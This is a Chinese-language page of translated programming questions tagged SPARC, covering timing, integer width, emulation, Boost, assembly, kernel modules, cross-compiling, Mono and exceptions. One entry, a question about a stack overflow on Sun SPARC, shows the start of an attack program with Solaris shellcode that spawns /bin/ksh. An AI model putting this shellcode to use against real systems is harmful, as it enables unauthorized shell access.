标签: sparc

纳秒到毫秒 - 快速除以1000000

我想将输出从gethrtime转换为毫秒.

显而易见的方法是除以1000000.但是,我经常这样做,并想知道它是否会成为瓶颈.

处理1000000这样的数字时是否有优化的除法运算?

注意:任何代码都必须是可移植的.我正在使用gcc,这通常是在Sparc硬件上

使用下面的代码进行一些快速测试...希望是对的.

#include <sys/time.h>
#include <iostream>

using namespace std;

const double NANOSECONDS_TO_MILLISECONDS = 1.0 / 1000000.0;

int main()
{
    hrtime_t start;
    hrtime_t tmp;
    hrtime_t fin;

    start = gethrtime();
    tmp = (hrtime_t)(start * NANOSECONDS_TO_MILLISECONDS);
    fin = gethrtime();

    cout << "Method 1"
    cout << "Original val: " << start << endl;
    cout << "Computed: " << tmp << endl;
    cout << "Time:" << fin - start << endl;

    start = gethrtime();
    tmp = (start / 1000000);
    fin = gethrtime(); …
Run Code Online (Sandbox Code Playgroud)

c++ gcc solaris sparc

12
推荐指数
3
解决办法
4万
查看次数

在Sparc 32位上处理值> 2 ^ 32的整数

我编写了一个小程序来测量循环所花费的时间(通过内联Sparc汇编代码片段).

一切都是正确的,直到我将迭代次数设置在大约4.0 + 9(高于2 ^ 32)之上.

这是代码片段:

#include <stdio.h>
#include <sys/time.h>
#include <unistd.h>
#include <math.h>
#include <stdint.h>

int main (int argc, char *argv[])
{
  // For indices
  int i;
  // Set the number of executions
  int nRunning = atoi(argv[1]);
  // Set the sums
  double avgSum = 0.0;
  double stdSum = 0.0;
  // Average of execution time
  double averageRuntime = 0.0;
  // Standard deviation of execution time
  double deviationRuntime = 0.0;

  // Init sum
  unsigned long long int sum = 0; …
Run Code Online (Sandbox Code Playgroud)

c assembly sparc long-integer

12
推荐指数
1
解决办法
307
查看次数

不使用Sparc硬件运行Sparc二进制文件

在过去的几个月里,我一直很好奇地为SPARC处理器(V8或V9)做了一些装配.我的问题是,我无法访问SPARC机器,有没有办法可以在我的x86机器上运行SPARC二进制文件?我看过QEMU,但我不太清楚如何设置它.

assembly emulation sparc

11
推荐指数
1
解决办法
1万
查看次数

Boost C++库是否支持Sparc上的Solaris?

我一直在寻找Boost库来开发跨平台的网络服务器库.它应该在Windows/Linux/Solaris上使用.提升支持这三个吗?

我只能通过谷歌搜索找到的是一些构建问题,"Boost支持大多数现代操作系统"

我对Boost很新,所以也许更习惯的人知道这个更具体指定的位置?

c++ boost solaris sparc

9
推荐指数
1
解决办法
1459
查看次数

了解SPARC程序集中函数调用的基本示例

我正在学习SPARC程序集,您可以在下面看到一个简单的示例.我有几个关于这个例子的问题,它显示了一个过程的传递参数.

在主要部分中,我设置5为第一个输入参数%o07第二个输入参数%o1.之后,我将这些寄存器的总和放入其中%o2.然后,我调用"测试"功能,我打印这个总和.

fmt0:
  .asciz "%d\n"
  .align 4

.global main

main:
  save %sp, -64, %sp
  mov 5, %o0
  mov 7, %o1
  add %o0, %o1, %o2
  !st %o2, [%fp-4]   for storing %o2 at adress %fp-4 
  call test
  nop
  ret

test:
  mov %i2, %o1
  !ld [%fp-4], %o1   for loading from %fp-4 into %o1
  set fmt0, %o0
  call printf
  nop
  ret
Run Code Online (Sandbox Code Playgroud)

使用上面的代码,它打印值"-273929364"而不是"12"(用gcc编译).

似乎" mov %i2, %o1"不起作用.我知道,%o2在主要部分寄存器成为%i2在调用的过程,但我为什么不能直接设置的值%i2%o1 …

c assembly sparc mov

9
推荐指数
1
解决办法
2013
查看次数

插入外部交叉编译的SPARC Linux模块时重定位错误

首先:我不是专家,所以请原谅我试图解释自己的任何错误.

我正在尝试使用Sparc-为SPARC机器交叉编译外部Linux模块Linux-GCC-4.4.2.Linux内核的版本是2.6.36.4-00037-g059aa91-dirty.它已经使用LEON处理器中的一些文件进行了修补.构建流程提供给我和它使用LinuxBuild,BuildrootBusybox.我正在尝试制作32位操作系统.

一切似乎都有效,但在我编译模块并尝试将其发送到SPARC系统后,我收到此错误:

module hellok:  Unknown relocation: 6
Run Code Online (Sandbox Code Playgroud)

这个错误来自于~/linuxbuild-1.0.3/linux/linux-2.6-git/arch/sparc/kernel/module.c 我将为完整性提供整个方法:

int apply_relocate_add(Elf_Shdr *sechdrs,
           const char *strtab,
           unsigned int symindex,
           unsigned int relsec,
           struct module *me)
{
unsigned int i;
Elf_Rela *rel = (void *)sechdrs[relsec].sh_addr;
Elf_Sym *sym;
u8 *location;
u32 *loc32;

for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
    Elf_Addr v;

    /* This is where to make the change */
    location = (u8 *)sechdrs[sechdrs[relsec].sh_info].sh_addr
        + …
Run Code Online (Sandbox Code Playgroud)

sparc cross-compiling relocation kernel-module linux-kernel

7
推荐指数
1
解决办法
687
查看次数

无法使用clang交叉编译到SPARC

所以情况就是这样:我需要能够从Linux机器(在Ubuntu上,它的价值)编译二进制文件,它们能够从SPARC服务器运行.我正在尝试编译的程序非常简单:

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Testing the SPARC program...");
    return EXIT_SUCCESS;
}
Run Code Online (Sandbox Code Playgroud)

我已经尝试了许多不同的编译行来使它工作,但不幸的是似乎没有任何工作.

我试过传统的:

 clang -target sparc blah.c -o blahsparc
Run Code Online (Sandbox Code Playgroud)

但这不起作用,有一堆汇编程序失败:

 /tmp/blah-519e77.s: Assembler messages:
 /tmp/blah-519e77.s:7: Error: unknown pseudo-op: '.register'
 /tmp/blah-519e77.s:8: Error: unknown pseudo-op: '.register'
 /tmp/blah-519e77.s:9: Error: unknown pseudo-op: '.register'
 /tmp/blah-519e77.s:10: Error: unknown pseudo-op: '.register'
 /tmp/blah-519e77.s:11: Error: no such instruction: 'save %sp,-240,%sp'
 /tmp/blah-519e77.s:12: Error: no such instruction: 'st %g0, [%fp+2043]'
 ...
 clang: error: assembler (via gcc) command failed with exit code 1 (use -v to see invocation)
Run Code Online (Sandbox Code Playgroud)

我也试过这个: …

c c++ sparc clang llvm-clang

7
推荐指数
1
解决办法
1506
查看次数

SUN Sparc上的堆栈溢出

/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode */
static char shell[] =        /* 10*4+8 bytes */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x7f\xff\xff\xff"   /* call  */
        "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
        "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
        "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
        "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
        "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
        "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
        "\x91\xd0\x20\x08"   /* ta 8 */
        "/bin/ksh" ;

#define BUFSIZE 464 …
Run Code Online (Sandbox Code Playgroud)

c sun sparc

5
推荐指数
1
解决办法
898
查看次数

在 Solaris 上进行 Mono 编译

我正在尝试在 Solaris 10 上编译 mono。我尝试了很多版本,从 2.11.4 到今天最新的 5.xx 版本。但我总是失败。

我正在使用具有 SPARC 处理器的Sun-Fire-v240硬件。此外,操作系统版本为Oracle Solaris 10 1/13 s10s_u11wos_24a SPARC

我遇到的问题是:

checking for PTHREAD_MUTEX_RECURSIVE... no
configure: error: Posix system lacks support for recursive mutexes
Run Code Online (Sandbox Code Playgroud)

有没有办法为 Solaris 编译单声道,我一直在寻找这个问题一段时间,但我的案例没有工作结果。我不太擅长 UNIX 系统,所以我想我错过了一些东西......

谢谢你。最好的问候,奥尔罕。

c# mono mutex solaris sparc

5
推荐指数
1
解决办法
494
查看次数

抛出的异常从未被捕获,但是线程没有被杀死?

这种情况发生在Solaris sparc机器上:

-bash-3.2$ uname -a
SunOS b2s-sol10spr-1 5.10 Generic_147147-26 sun4v sparc sun4v
Run Code Online (Sandbox Code Playgroud)

我发现异常处理有一个奇怪的问题.这是一个简短的调试会话日志:

GNU gdb (GDB) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10".
Type "show configuration" for configuration details.
For bug reporting instructions, please …
Run Code Online (Sandbox Code Playgroud)

c++ gcc solaris exception-handling sparc

5
推荐指数
0
解决办法
324
查看次数